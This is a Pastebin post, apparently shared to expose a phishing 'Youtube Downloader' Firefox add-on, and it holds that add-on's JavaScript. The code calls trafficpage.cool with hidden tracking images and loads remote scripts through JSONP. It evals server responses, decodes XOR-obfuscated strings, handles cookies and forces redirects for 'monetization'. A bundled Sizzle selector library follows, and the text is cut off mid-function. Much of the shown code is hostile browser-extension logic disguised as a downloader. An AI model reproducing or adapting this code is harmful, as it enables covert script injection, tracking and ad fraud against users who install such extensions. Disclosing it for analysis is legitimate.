Advertisement
Guest User

"Youtube Downloader" phishing Firefox add-on JS code

a guest
Aug 29th, 2018
500
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. (function(f, i, j) {
  2.     var g = "13b978ff36417267e9";
  3.     var b = (function() {
  4.         var l = 3;
  5.         var p = parseInt("0");
  6.         var o = parseInt("0");
  7.         (function() {
  8.             var r = ["mid=", "wid=51807", "sid=", "tid=5049", "rid=LAUNCHED"];
  9.             a = (window.location.protocol == "http:" ? "http:" : "https:") + "//trafficpage.cool/metric/?" + r.join("&");
  10.             var q = f.createElement("img");
  11.             q.setAttribute("style", "width:0;height:0;display:none;visibility:hidden;");
  12.             q.src = a + (a.indexOf("?") == -1 ? "?" : "&") + "t=" + (new Date().getTime());
  13.             (document.head || document.documentElement).appendChild(q);
  14.             if (typeof q.onload != j) {
  15.                 q.onload = function() {
  16.                     q.parentNode && q.parentNode.removeChild(q)
  17.                 }
  18.             }
  19.         })();
  20.         var n = false;
  21.         if (typeof(MainWindow) != "undefined") {
  22.             window.document = MainWindow.document.parentWindow
  23.         }
  24.         if (n) {
  25.             return false
  26.         }(function(d, w, uniqId, u) {
  27.             var isReady = false,
  28.                 readyQueue = [],
  29.                 div = u,
  30.                 $$ = {};
  31.             if (typeof(JSON) === u) {
  32.                 JSON = {}
  33.             }
  34.  
  35.             function onReady() {
  36.                 isReady = true;
  37.                 while (readyQueue.length > 0) {
  38.                     (readyQueue.pop())()
  39.                 }
  40.             }
  41.             if (typeof(d.getElementsByClassName) == u) {
  42.                 d.getElementsByClassName = function(cl) {
  43.                     var retnode = [];
  44.                     var myclass = new RegExp("\\b" + cl + "\\b");
  45.                     var elem = this.getElementsByTagName("*");
  46.                     for (var i = 0; i < elem.length; i++) {
  47.                         var classes = elem[i].className;
  48.                         if (myclass.test(classes)) {
  49.                             retnode.push(elem[i])
  50.                         }
  51.                     }
  52.                     return retnode
  53.                 }
  54.             }
  55.             $$ = w[uniqId] = {
  56.                 l: {},
  57.                 isIe: !!d.attachEvent,
  58.                 scriptDomain: "trafficpage.cool",
  59.                 unixTimestampNow: Math.round(new Date().getTime() / 1000),
  60.                 optoutValue: {},
  61.                 limitsValue: {},
  62.                 currentOptoutBlock: null,
  63.                 monetizationsConfig: {},
  64.                 ready: function(callback) {
  65.                     !isReady ? readyQueue.push(callback) : callback()
  66.                 },
  67.                 createEl: function(html) {
  68.                     if (div === u) {
  69.                         div = d.createElement("div")
  70.                     }
  71.                     div.innerHTML = html;
  72.                     return div.firstChild
  73.                 },
  74.                 each: function(array, callback) {
  75.                     var i = 0,
  76.                         length = array.length;
  77.                     for (; i < length;) {
  78.                         if (callback(array[i], i++) === false) {
  79.                             return true
  80.                         }
  81.                     }
  82.                 },
  83.                 inArray: function(array, e) {
  84.                     var i = 0,
  85.                         length = array.length;
  86.                     for (; i < length; i++) {
  87.                         if (e === array[i]) {
  88.                             return true
  89.                         }
  90.                     }
  91.                     return false
  92.                 },
  93.                 filter: function(array, callback) {
  94.                     var i = 0,
  95.                         length = array.length,
  96.                         ret = [];
  97.                     for (; i < length; i++) {
  98.                         if (callback(array[i], i)) {
  99.                             ret.push(array[i])
  100.                         }
  101.                     }
  102.                     return ret
  103.                 },
  104.                 apply: function() {
  105.                     var obj = {};
  106.                     $$.each(arguments, function(arg) {
  107.                         for (var i in arg) {
  108.                             obj[i] = arg[i]
  109.                         }
  110.                     });
  111.                     return obj
  112.                 },
  113.                 xhrRequest: function(xhr, o) {
  114.                     var timeoutId = u,
  115.                         isTimedout = false,
  116.                         $this = this;
  117.  
  118.                     function __gacb(data) {
  119.                         o.callback(data)
  120.                     }
  121.                     o.url += (o.url.indexOf("?") >= 0 ? "&" : "?") + "ajax";
  122.                     xhr.onreadystatechange = function() {
  123.                         if (isTimedout) {
  124.                             return
  125.                         }
  126.                         if (xhr.readyState === 4) {
  127.                             if (xhr.status === 200 && xhr.responseText) {
  128.                                 if (timeoutId) {
  129.                                     clearTimeout(timeoutId)
  130.                                 }
  131.                                 if (xhr.responseText.indexOf("__gacb(") > -1) {
  132.                                     eval(xhr.responseText)
  133.                                 } else {
  134.                                     o.callback($this.fromJson(xhr.responseText))
  135.                                 }
  136.                             }
  137.                         }
  138.                     };
  139.                     xhr.open("GET", o.url);
  140.                     xhr.withCredentials = false;
  141.                     timeoutId = setTimeout(function() {
  142.                         isTimedout = true;
  143.                         xhr.abort();
  144.                         $$.jsonpRequest(o)
  145.                     }, o.timeout);
  146.                     xhr.send()
  147.                 },
  148.                 jsonp: function(opts) {
  149.                     var timeoutId = u,
  150.                         isTimedout = false;
  151.                     var o = $$.apply({
  152.                         callback: function() {},
  153.                         timeout: 15000,
  154.                         onTimeout: function() {},
  155.                         data: {}
  156.                     }, opts || {});
  157.                     var r = Math.floor(Math.random() * 1000000000);
  158.                     var jsonpFunction = "__twb_cb_" + r;
  159.                     w[jsonpFunction] = function(data) {
  160.                         if (isTimedout) {
  161.                             return
  162.                         }
  163.                         if (timeoutId) {
  164.                             clearTimeout(timeoutId)
  165.                         }
  166.                         o.callback(data);
  167.                         onComplete()
  168.                     };
  169.                     var onComplete = function() {
  170.                         w[jsonpFunction] = u;
  171.                         if (s && s.parentNode) {
  172.                             s.parentNode.removeChild(s)
  173.                         }
  174.                     };
  175.                     o.url += (o.url.indexOf("?") >= 0 ? "&" : "?") + "jsonp=" + jsonpFunction + "&" + $$.toUrlParams(o.data);
  176.                     var s = $$.script(o.url);
  177.                     timeoutId = setTimeout(function() {
  178.                         isTimedout = true;
  179.                         o.onTimeout();
  180.                         onComplete()
  181.                     }, o.timeout)
  182.                 },
  183.                 toUrlParams: function(formdata, numeric_prefix, arg_separator) {
  184.                     var value, key, tmp = [];
  185.                     var _http_build_query_helper = function(key, val, arg_separator) {
  186.                         var k, tmp = [];
  187.                         if (val === true) {
  188.                             val = "1"
  189.                         } else {
  190.                             if (val === false) {
  191.                                 val = "0"
  192.                             }
  193.                         }
  194.                         if (val != null) {
  195.                             if (typeof val === "object") {
  196.                                 for (k in val) {
  197.                                     if (val[k] != null) {
  198.                                         tmp.push(_http_build_query_helper(key + "[" + k + "]", val[k], arg_separator))
  199.                                     }
  200.                                 }
  201.                                 return tmp.join(arg_separator)
  202.                             } else {
  203.                                 if (typeof val !== "function") {
  204.                                     return w.encodeURIComponent(key) + "=" + w.encodeURIComponent(val)
  205.                                 } else {
  206.                                     return ""
  207.                                 }
  208.                             }
  209.                         } else {
  210.                             return ""
  211.                         }
  212.                     };
  213.                     if (!arg_separator) {
  214.                         arg_separator = "&"
  215.                     }
  216.                     for (key in formdata) {
  217.                         value = formdata[key];
  218.                         if (numeric_prefix && !isNaN(key)) {
  219.                             key = String(numeric_prefix) + key
  220.                         }
  221.                         var query = _http_build_query_helper(key, value, arg_separator);
  222.                         if (query !== "") {
  223.                             tmp.push(query)
  224.                         }
  225.                     }
  226.                     return tmp.join(arg_separator)
  227.                 },
  228.                 jsonpRequest: function(o) {
  229.                     var timeoutId = u,
  230.                         isTimedout = false;
  231.                     callbackName = "f" + this.randomNumber(10000, 9999999);
  232.                     o.url += (o.url.indexOf("?") >= 0 ? "&" : "?") + "jsonp=" + callbackName;
  233.                     w[callbackName] = function(data) {
  234.                         if (isTimedout) {
  235.                             return
  236.                         }
  237.                         if (timeoutId) {
  238.                             clearTimeout(timeoutId)
  239.                         }
  240.                         o.callback(data)
  241.                     };
  242.                     var s = $$.script(o.url);
  243.                     timeoutId = setTimeout(function() {
  244.                         isTimedout = true;
  245.                         s.parentNode.removeChild(s);
  246.                         o.onTimeout()
  247.                     }, o.timeout)
  248.                 },
  249.                 toJson: JSON.stringify || function(obj) {
  250.                     var t = typeof(obj);
  251.                     if (t != "object" || obj === null) {
  252.                         if (t == "string") {
  253.                             obj = '"' + obj + '"'
  254.                         }
  255.                         return String(obj)
  256.                     } else {
  257.                         var n, v, json = [],
  258.                             arr = (obj && obj.constructor == Array);
  259.                         for (n in obj) {
  260.                             v = obj[n];
  261.                             t = typeof(v);
  262.                             if (t == "string") {
  263.                                 v = '"' + v + '"'
  264.                             } else {
  265.                                 if (t == "object" && v !== null) {
  266.                                     v = arguments.callee(v)
  267.                                 }
  268.                             }
  269.                             json.push((arr ? "" : '"' + n + '":') + String(v))
  270.                         }
  271.                         return (arr ? "[" : "{") + String(json) + (arr ? "]" : "}")
  272.                     }
  273.                 },
  274.                 fromJson: JSON.parse || function(str) {
  275.                     if (str === "") {
  276.                         str = '""'
  277.                     }
  278.                     eval("var p=" + str + ";");
  279.                     return p
  280.                 },
  281.                 xor: function(str) {
  282.                     var i = 0,
  283.                         length = str.length,
  284.                         ret = "";
  285.                     for (; i < length;) {
  286.                         ret += String.fromCharCode(77 ^ str.charCodeAt(i++))
  287.                     }
  288.                     return ret
  289.                 },
  290.                 script: function(src, nocache, attributes) {
  291.                     var s = d.createElement("script");
  292.                     s.type = "text/javascript";
  293.                     if (attributes) {
  294.                         for (var i in attributes) {
  295.                             s.setAttribute(i, attributes[i])
  296.                         }
  297.                     }
  298.                     s.src = src + (nocache === u || nocache ? (src.indexOf("?") == -1 ? "?" : "&") + "t=" + (new Date().getTime()) : "");
  299.                     d.getElementsByTagName("body")[0].appendChild(s);
  300.                     return s
  301.                 },
  302.                 includeCss: function(src) {
  303.                     var style = d.createElement("link");
  304.                     if (d.getElementsByTagName("body")[0]) {
  305.                         d.getElementsByTagName("body")[0].appendChild(style);
  306.                         style.rel = "stylesheet";
  307.                         style.type = "text/css";
  308.                         style.href = src
  309.                     }
  310.                 },
  311.                 hasClass: function(element, className) {
  312.                     return (!!element.getAttribute("class") && element.getAttribute("class").indexOf(className) > -1)
  313.                 },
  314.                 addClass: function(element, className) {
  315.                     element.setAttribute("class", (!!element.getAttribute("class") ? element.getAttribute("class") + " " : "") + className)
  316.                 },
  317.                 removeClass: function(element, className) {
  318.                     if (!!element.getAttribute("class")) {
  319.                         element.setAttribute("class", element.getAttribute("class").replace(className, ""))
  320.                     }
  321.                 },
  322.                 randomNumber: function(min, max) {
  323.                     return Math.floor(Math.random() * max) + min
  324.                 },
  325.                 eval: function(data) {
  326.                     var s = d.createElement("script");
  327.                     s.defer = true;
  328.                     s.text = data;
  329.                     (d.getElementsByTagName("script")[0] || d.documentElement.firstChild).parentNode.appendChild(s)
  330.                 },
  331.                 on: function(el, event, fn) {
  332.                     var handler = function(event) {
  333.                         fn.call(el, event || w.event)
  334.                     };
  335.                     if (el.addEventListener) {
  336.                         el.addEventListener(event, handler, false)
  337.                     } else {
  338.                         if (el.attachEvent) {
  339.                             el.attachEvent("on" + event, handler)
  340.                         }
  341.                     }
  342.                 },
  343.                 redirect: function(url, blank) {
  344.                     var a = d.createElement("a");
  345.                     a.href = url;
  346.                     if (blank) {
  347.                         a.target = "_blank"
  348.                     }
  349.                     a.__norewrite = true;
  350.                     d.body.appendChild(a);
  351.                     a.click();
  352.                     d.body.removeChild(a)
  353.                 },
  354.                 setCookie: function(name, value, opts) {
  355.                     var o = opts || {},
  356.                         expire = u;
  357.                     if (o.expire) {
  358.                         expire = new Date();
  359.                         expire.setTime(expire.getTime() + (o.expire * 1000))
  360.                     }
  361.                     document.cookie = encodeURIComponent(name) + "=" + encodeURIComponent(value) + (expire ? "; expires=" + expire.toUTCString() : "") + (o.path ? "; path=" + o.path : "") + (o.domain ? "; domain=" + o.domain : "")
  362.                 },
  363.                 getCookie: function(name) {
  364.                     var value = u;
  365.                     $$.each(d.cookie.split("; "), function(raw) {
  366.                         var parts = raw.split("=");
  367.                         var cookieName = decodeURIComponent(parts.shift());
  368.                         if (cookieName == name) {
  369.                             value = decodeURIComponent(parts.join("="));
  370.                             return false
  371.                         }
  372.                     });
  373.                     return value
  374.                 },
  375.                 encode: function(s) {
  376.                     var i = 0,
  377.                         ret = "",
  378.                         length = s.length;
  379.                     for (; i < length; i++) {
  380.                         ret += ("%" + s.charCodeAt(i).toString(16))
  381.                     }
  382.                     return ret
  383.                 },
  384.                 preventDefault: function(e) {
  385.                     if (e.preventDefault) {
  386.                         e.preventDefault()
  387.                     }
  388.                     return e.returnValue = false
  389.                 },
  390.                 remove: function(e) {
  391.                     return e.parentNode && e.parentNode.removeChild(e)
  392.                 },
  393.                 attr: function(e, name) {
  394.                     if (e.hasAttribute && e.hasAttribute(name)) {
  395.                         return e.getAttribute(name)
  396.                     } else {
  397.                         var node = e.getAttributeNode(name);
  398.                         if (node) {
  399.                             return node.value
  400.                         }
  401.                     }
  402.                     return ""
  403.                 },
  404.                 updateLimits: function(block, lifetime) {
  405.                     if (!lifetime) {
  406.                         var mConfig = {};
  407.                         if (w[uniqId].monetizationsConfig && w[uniqId].monetizationsConfig[block]) {
  408.                             mConfig = w[uniqId].monetizationsConfig[block]
  409.                         }
  410.                         lifetime = mConfig.limit
  411.                     }
  412.                     if (lifetime > 0) {
  413.                         $$.limitsValue[block] = $$.unixTimestampNow + parseInt(lifetime);
  414.                         var cookieValue = $$.toJson($$.limitsValue);
  415.                         $$.jsonp({
  416.                             url: (window.location.protocol == "http:" ? "http:" : "https:") + "//" + w[uniqId].scriptDomain + "/optout/set/limit",
  417.                             data: {
  418.                                 key: "13b978ff36417267e9",
  419.                                 cv: cookieValue
  420.                             },
  421.                             callback: function(response) {}
  422.                         })
  423.                     } else {}
  424.                 },
  425.                 setStartTime: function() {
  426.                     var cookieValue = $$.unixTimestampNow;
  427.                     $$.jsonp({
  428.                         url: (window.location.protocol == "http:" ? "http:" : "https:") + "//" + w[uniqId].scriptDomain + "/optout/set/strtm",
  429.                         data: {
  430.                             key: "13b978ff36417267e9",
  431.                             cv: cookieValue
  432.                         },
  433.                         callback: function(response) {}
  434.                     })
  435.                 },
  436.                 updateLifeTime: function(lifeTime, lastActionTime) {
  437.                     if (!lastActionTime) {
  438.                         lastActionTime = $$.unixTimestampNow
  439.                     }
  440.                     if (!lifeTime) {
  441.                         lifeTime = 0
  442.                     }
  443.                     var actionDiff = $$.unixTimestampNow - lastActionTime;
  444.                     $$.jsonp({
  445.                         url: (window.location.protocol == "http:" ? "http:" : "https:") + "//" + w[uniqId].scriptDomain + "/optout/set/lat",
  446.                         data: {
  447.                             key: "13b978ff36417267e9",
  448.                             cv: $$.unixTimestampNow
  449.                         }
  450.                     });
  451.                     if (actionDiff < 600) {
  452.                         var newLifeTime = parseInt(parseInt(lifeTime) + parseInt(actionDiff));
  453.                         $$.jsonp({
  454.                             url: (window.location.protocol == "http:" ? "http:" : "https:") + "//" + w[uniqId].scriptDomain + "/optout/set/lt",
  455.                             data: {
  456.                                 key: "13b978ff36417267e9",
  457.                                 cv: newLifeTime
  458.                             }
  459.                         })
  460.                     } else {}
  461.                 },
  462.                 loadedCallback: function(code, block, custom1, custom2, custom3, custom4, custom5) {
  463.                     if (typeof block == "undefined") {
  464.                         block = ""
  465.                     }
  466.                     var params = ["mid=" + block, "wid=51807", "sid=" + ((w[uniqId] && w[uniqId].tbParams && w[uniqId].tbParams.sid) ? w[uniqId].tbParams.sid : ""), "tid=5049", "rid=" + code];
  467.                     if (custom1) {
  468.                         params.push("custom1=" + custom1)
  469.                     }
  470.                     if (custom2) {
  471.                         params.push("custom2=" + custom2)
  472.                     }
  473.                     if (custom3) {
  474.                         params.push("custom3=" + custom3)
  475.                     }
  476.                     if (custom4) {
  477.                         params.push("custom4=" + custom4)
  478.                     }
  479.                     if (custom5) {
  480.                         params.push("custom5=" + custom5)
  481.                     }
  482.                     var src = (window.location.protocol == "http:" ? "http:" : "https:") + "//" + w[uniqId].scriptDomain + "/metric/?" + params.join("&");
  483.                     var imgEl = d.createElement("img");
  484.                     imgEl.setAttribute("style", "width:0;height:0;display:none;visibility:hidden;");
  485.                     imgEl.src = src + (src.indexOf("?") == -1 ? "?" : "&") + "t=" + (new Date().getTime());
  486.                     d.getElementsByTagName("body")[0].appendChild(imgEl);
  487.                     $$.on(imgEl, "load", function() {
  488.                         $$.remove(imgEl)
  489.                     })
  490.                 },
  491.                 reportSetCallback: function(response) {},
  492.                 host: function(url) {
  493.                     var m = url.match(/^https?:\/\/([^\/]+)/);
  494.                     return m ? m[1] : ""
  495.                 },
  496.                 optoutShow: function(block) {
  497.                     if ($$.tbParams.optoutUrl) {
  498.                         location.href = $$.tbParams.optoutUrl
  499.                     } else {
  500.                         if (!$$.twBarOptOut && typeof $$.twBarOptOutInit == "function") {
  501.                             $$.twBarOptOutInit()
  502.                         }
  503.                         if ($$.twBarOptOut) {
  504.                             $$.currentOptoutBlock = block;
  505.                             $$.twBarOptOut.style.display = "block";
  506.                             $$.loadedCallback("OPTOUT_SHOW", block)
  507.                         }
  508.                     }
  509.                 },
  510.                 optoutHide: function(block) {
  511.                     if ($$.twBarOptOut) {
  512.                         $$.twBarOptOut.style.display = "none"
  513.                     }
  514.                 },
  515.                 getMtzCfg: function(block) {
  516.                     var fname = ["mone", "tiza", "tions", "Config"].join("");
  517.                     if (w[uniqId][fname] && w[uniqId][fname][block] && w[uniqId][fname][block].config) {
  518.                         return w[uniqId][fname][block].config
  519.                     }
  520.                     return {}
  521.                 }
  522.             };
  523.             var getMtzConfigAlias = ["get", "Mon", "etiza", "tion", "Config"].join("");
  524.             $$[getMtzConfigAlias] = function(block) {
  525.                 return $$.getMtzCfg(block)
  526.             };
  527.             if (d.addEventListener) {
  528.                 d.addEventListener("DOMContentLoaded", function() {
  529.                     onReady()
  530.                 }, false)
  531.             } else {
  532.                 if (d.attachEvent) {
  533.                     d.attachEvent("onreadystatechange", function() {
  534.                         onReady()
  535.                     })
  536.                 }
  537.             }
  538.             if (d.readyState) {
  539.                 (function() {
  540.                     if ((!$$.isIe && d.readyState === "interactive") || d.readyState === "complete") {
  541.                         onReady()
  542.                     } else {
  543.                         setTimeout(arguments.callee, 100)
  544.                     }
  545.                 })()
  546.             } else {
  547.                 var toplevel = false;
  548.                 try {
  549.                     toplevel = window.frameElement == null
  550.                 } catch (e) {}
  551.                 if (d && d.dElement && d.dElement.doScroll && toplevel) {
  552.                     (function() {
  553.                         try {
  554.                             d.dElement.doScroll("left")
  555.                         } catch (e) {
  556.                             setTimeout(arguments.callee, 100);
  557.                             return
  558.                         }
  559.                         onReady()
  560.                     })()
  561.                 }
  562.             }
  563.         })(document, window, "13b978ff36417267e9", undefined);;
  564.         (function(aA, q) {
  565.             var G, aD, l, v, R, U, ag, aH, S, aj, L, w, at, an, aB, k, P, av = "sizzle" + -(new Date()),
  566.                 T = aA.document,
  567.                 aE = 0,
  568.                 ao = 0,
  569.                 d = J(),
  570.                 au = J(),
  571.                 Q = J(),
  572.                 ah = false,
  573.                 N = function() {
  574.                     return 0
  575.                 },
  576.                 az = typeof q,
  577.                 ab = 1 << 31,
  578.                 Y = ({}).hasOwnProperty,
  579.                 ax = [],
  580.                 ay = ax.pop,
  581.                 W = ax.push,
  582.                 b = ax.push,
  583.                 u = ax.slice,
  584.                 j = ax.indexOf || function(aJ) {
  585.                     var aI = 0,
  586.                         e = this.length;
  587.                     for (; aI < e; aI++) {
  588.                         if (this[aI] === aJ) {
  589.                             return aI
  590.                         }
  591.                     }
  592.                     return -1
  593.                 },
  594.                 c = "checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",
  595.                 x = "[\\x20\\t\\r\\n\\f]",
  596.                 a = "(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",
  597.                 V = a.replace("w", "w#"),
  598.                 aq = "\\[" + x + "*(" + a + ")" + x + "*(?:([*^$|!~]?=)" + x + "*(?:(['\"])((?:\\\\.|[^\\\\])*?)\\3|(" + V + ")|)|)" + x + "*\\]",
  599.                 s = ":(" + a + ")(?:\\(((['\"])((?:\\\\.|[^\\\\])*?)\\3|((?:\\\\.|[^\\\\()[\\]]|" + aq.replace(3, 8) + ")*)|.*)\\)|)",
  600.                 z = new RegExp("^" + x + "+|((?:^|[^\\\\])(?:\\\\.)*)" + x + "+$", "g"),
  601.                 D = new RegExp("^" + x + "*," + x + "*"),
  602.                 K = new RegExp("^" + x + "*([>+~]|" + x + ")" + x + "*"),
  603.                 al = new RegExp(x + "*[+~]"),
  604.                 B = new RegExp("=" + x + "*([^\\]'\"]*)" + x + "*\\]", "g"),
  605.                 ad = new RegExp(s),
  606.                 ae = new RegExp("^" + V + "$"),
  607.                 am = {
  608.                     ID: new RegExp("^#(" + a + ")"),
  609.                     CLASS: new RegExp("^\\.(" + a + ")"),
  610.                     TAG: new RegExp("^(" + a.replace("w", "w*") + ")"),
  611.                     ATTR: new RegExp("^" + aq),
  612.                     PSEUDO: new RegExp("^" + s),
  613.                     CHILD: new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" + x + "*(even|odd|(([+-]|)(\\d*)n|)" + x + "*(?:([+-]|)" + x + "*(\\d+)|))" + x + "*\\)|)", "i"),
  614.                     bool: new RegExp("^(?:" + c + ")$", "i"),
  615.                     needsContext: new RegExp("^" + x + "*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" + x + "*((?:-\\d)?\\d*)" + x + "*\\)|)(?=[^-]|$)", "i")
  616.                 },
  617.                 aa = /^[^{]+\{\s*\[native \w/,
  618.                 ac = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,
  619.                 h = /^(?:input|select|textarea|button)$/i,
  620.                 t = /^h\d$/i,
  621.                 X = /'|\\/g,
  622.                 A = new RegExp("\\\\([\\da-f]{1,6}" + x + "?|(" + x + ")|.)", "ig"),
  623.                 ap = function(e, aJ, i) {
  624.                     var aI = "0x" + aJ - 65536;
  625.                     return aI !== aI || i ? aJ : aI < 0 ? String.fromCharCode(aI + 65536) : String.fromCharCode(aI >> 10 | 55296, aI & 1023 | 56320)
  626.                 };
  627.             try {
  628.                 b.apply((ax = u.call(T.childNodes)), T.childNodes);
  629.                 ax[T.childNodes.length].nodeType
  630.             } catch (M) {
  631.                 b = {
  632.                     apply: ax.length ? function(i, e) {
  633.                         W.apply(i, u.call(e))
  634.                     } : function(aK, aJ) {
  635.                         var e = aK.length,
  636.                             aI = 0;
  637.                         while ((aK[e++] = aJ[aI++])) {}
  638.                         aK.length = e - 1
  639.                     }
  640.                 }
  641.             }
  642.  
  643.             function E(aP, aI, aT, aV) {
  644.                 var aU, aM, aN, aR, aS, aL, aK, e, aJ, aQ;
  645.                 if ((aI ? aI.ownerDocument || aI : T) !== L) {
  646.                     aj(aI)
  647.                 }
  648.                 aI = aI || L;
  649.                 aT = aT || [];
  650.                 if (!aP || typeof aP !== "string") {
  651.                     return aT
  652.                 }
  653.                 if ((aR = aI.nodeType) !== 1 && aR !== 9) {
  654.                     return []
  655.                 }
  656.                 if (at && !aV) {
  657.                     if ((aU = ac.exec(aP))) {
  658.                         if ((aN = aU[1])) {
  659.                             if (aR === 9) {
  660.                                 aM = aI.getElementById(aN);
  661.                                 if (aM && aM.parentNode) {
  662.                                     if (aM.id === aN) {
  663.                                         aT.push(aM);
  664.                                         return aT
  665.                                     }
  666.                                 } else {
  667.                                     return aT
  668.                                 }
  669.                             } else {
  670.                                 if (aI.ownerDocument && (aM = aI.ownerDocument.getElementById(aN)) && P(aI, aM) && aM.id === aN) {
  671.                                     aT.push(aM);
  672.                                     return aT
  673.                                 }
  674.                             }
  675.                         } else {
  676.                             if (aU[2]) {
  677.                                 b.apply(aT, aI.getElementsByTagName(aP));
  678.                                 return aT
  679.                             } else {
  680.                                 if ((aN = aU[3]) && aD.getElementsByClassName && aI.getElementsByClassName) {
  681.                                     b.apply(aT, aI.getElementsByClassName(aN));
  682.                                     return aT
  683.                                 }
  684.                             }
  685.                         }
  686.                     }
  687.                     if (aD.qsa && (!an || !an.test(aP))) {
  688.                         e = aK = av;
  689.                         aJ = aI;
  690.                         aQ = aR === 9 && aP;
  691.                         if (aR === 1 && aI.nodeName.toLowerCase() !== "object") {
  692.                             aL = p(aP);
  693.                             if ((aK = aI.getAttribute("id"))) {
  694.                                 e = aK.replace(X, "\\$&")
  695.                             } else {
  696.                                 aI.setAttribute("id", e)
  697.                             }
  698.                             e = "[id='" + e + "'] ";
  699.                             aS = aL.length;
  700.                             while (aS--) {
  701.                                 aL[aS] = e + o(aL[aS])
  702.                             }
  703.                             aJ = al.test(aP) && aI.parentNode || aI;
  704.                             aQ = aL.join(",")
  705.                         }
  706.                         if (aQ) {
  707.                             try {
  708.                                 b.apply(aT, aJ.querySelectorAll(aQ));
  709.                                 return aT
  710.                             } catch (aO) {} finally {
  711.                                 if (!aK) {
  712.                                     aI.removeAttribute("id")
  713.                                 }
  714.                             }
  715.                         }
  716.                     }
  717.                 }
  718.                 return aC(aP.replace(z, "$1"), aI, aT, aV)
  719.             }
  720.  
  721.             function O(e) {
  722.                 return aa.test(e + "")
  723.             }
  724.  
  725.             function J() {
  726.                 var i = [];
  727.  
  728.                 function e(aI, aJ) {
  729.                     if (i.push(aI += " ") > v.cacheLength) {
  730.                         delete e[i.shift()]
  731.                     }
  732.                     return (e[aI] = aJ)
  733.                 }
  734.                 return e
  735.             }
  736.  
  737.             function r(e) {
  738.                 e[av] = true;
  739.                 return e
  740.             }
  741.  
  742.             function m(i) {
  743.                 var aJ = L.createElement("div");
  744.                 try {
  745.                     return !!i(aJ)
  746.                 } catch (aI) {
  747.                     return false
  748.                 } finally {
  749.                     if (aJ.parentNode) {
  750.                         aJ.parentNode.removeChild(aJ)
  751.                     }
  752.                     aJ = null
  753.                 }
  754.             }
  755.  
  756.             function aF(e, aJ, aM) {
  757.                 e = e.split("|");
  758.                 var aL, aI = e.length,
  759.                     aK = aM ? null : aJ;
  760.                 while (aI--) {
  761.                     if (!(aL = v.attrHandle[e[aI]]) || aL === aJ) {
  762.                         v.attrHandle[e[aI]] = aK
  763.                     }
  764.                 }
  765.             }
  766.  
  767.             function Z(i, e) {
  768.                 var aI = i.getAttributeNode(e);
  769.                 return aI && aI.specified ? aI.value : i[e] === true ? e.toLowerCase() : null
  770.             }
  771.  
  772.             function H(i, e) {
  773.                 return i.getAttribute(e, e.toLowerCase() === "type" ? 1 : 2)
  774.             }
  775.  
  776.             function C(e) {
  777.                 if (e.nodeName.toLowerCase() === "input") {
  778.                     return e.defaultValue
  779.                 }
  780.             }
  781.  
  782.             function f(i, e) {
  783.                 var aJ = e && i,
  784.                     aI = aJ && i.nodeType === 1 && e.nodeType === 1 && (~e.sourceIndex || ab) - (~i.sourceIndex || ab);
  785.                 if (aI) {
  786.                     return aI
  787.                 }
  788.                 if (aJ) {
  789.                     while ((aJ = aJ.nextSibling)) {
  790.                         if (aJ === e) {
  791.                             return -1
  792.                         }
  793.                     }
  794.                 }
  795.                 return i ? 1 : -1
  796.             }
  797.  
  798.             function F(e) {
  799.                 return function(aI) {
  800.                     var i = aI.nodeName.toLowerCase();
  801.                     return i === "input" && aI.type === e
  802.                 }
  803.             }
  804.  
  805.             function g(e) {
  806.                 return function(aI) {
  807.                     var i = aI.nodeName.toLowerCase();
  808.                     return (i === "input" || i === "button") && aI.type === e
  809.                 }
  810.             }
  811.  
  812.             function ar(e) {
  813.                 return r(function(i) {
  814.                     i = +i;
  815.                     return r(function(aI, aM) {
  816.                         var aK, aJ = e([], aI.length, i),
  817.                             aL = aJ.length;
  818.                         while (aL--) {
  819.                             if (aI[(aK = aJ[aL])]) {
  820.                                 aI[aK] = !(aM[aK] = aI[aK])
  821.                             }
  822.                         }
  823.                     })
  824.                 })
  825.             }
  826.             U = E.isXML = function(e) {
  827.                 var i = e && (e.ownerDocument || e).documentElement;
  828.                 return i ? i.nodeName !== "HTML" : false
  829.             };
  830.             aD = E.support = {};
  831.             aj = E.setDocument = function(e) {
  832.                 var i = e ? e.ownerDocument || e : T;
  833.                 if (i === L || i.nodeType !== 9 || !i.documentElement) {
  834.                     return L
  835.                 }
  836.                 L = i;
  837.                 w = i.documentElement;
  838.                 at = !U(i);
  839.                 aD.attributes = m(function(aI) {
  840.                     aI.innerHTML = "<a href='#'></a>";
  841.                     aF("type|href|height|width", H, aI.firstChild.getAttribute("href") === "#");
  842.                     aF(c, Z, aI.getAttribute("disabled") == null);
  843.                     aI.className = "i";
  844.                     return !aI.getAttribute("className")
  845.                 });
  846.                 aD.input = m(function(aI) {
  847.                     aI.innerHTML = "<input>";
  848.                     aI.firstChild.setAttribute("value", "");
  849.                     return aI.firstChild.getAttribute("value") === ""
  850.                 });
  851.                 aF("value", C, aD.attributes && aD.input);
  852.                 aD.getElementsByTagName = m(function(aI) {
  853.                     aI.appendChild(i.createComment(""));
  854.                     return !aI.getElementsByTagName("*").length
  855.                 });
  856.                 aD.getElementsByClassName = m(function(aI) {
  857.                     aI.innerHTML = "<div class='a'></div><div class='a i'></div>";
  858.                     aI.firstChild.className = "i";
  859.                     return aI.getElementsByClassName("i").length === 2
  860.                 });
  861.                 aD.getById = m(function(aI) {
  862.                     w.appendChild(aI).id = av;
  863.                     return !i.getElementsByName || !i.getElementsByName(av).length
  864.                 });
  865.                 if (aD.getById) {
  866.                     v.find.ID = function(aK, aJ) {
  867.                         if (typeof aJ.getElementById !== az && at) {
  868.                             var aI = aJ.getElementById(aK);
  869.                             return aI && aI.parentNode ? [aI] : []
  870.                         }
  871.                     };
  872.                     v.filter.ID = function(aJ) {
  873.                         var aI = aJ.replace(A, ap);
  874.                         return function(aK) {
  875.                             return aK.getAttribute("id") === aI
  876.                         }
  877.                     }
  878.                 } else {
  879.                     delete v.find.ID;
  880.                     v.filter.ID = function(aJ) {
  881.                         var aI = aJ.replace(A, ap);
  882.                         return function(aL) {
  883.                             var aK = typeof aL.getAttributeNode !== az && aL.getAttributeNode("id");
  884.                             return aK && aK.value === aI
  885.                         }
  886.                     }
  887.                 }
  888.                 v.find.TAG = aD.getElementsByTagName ? function(aI, aJ) {
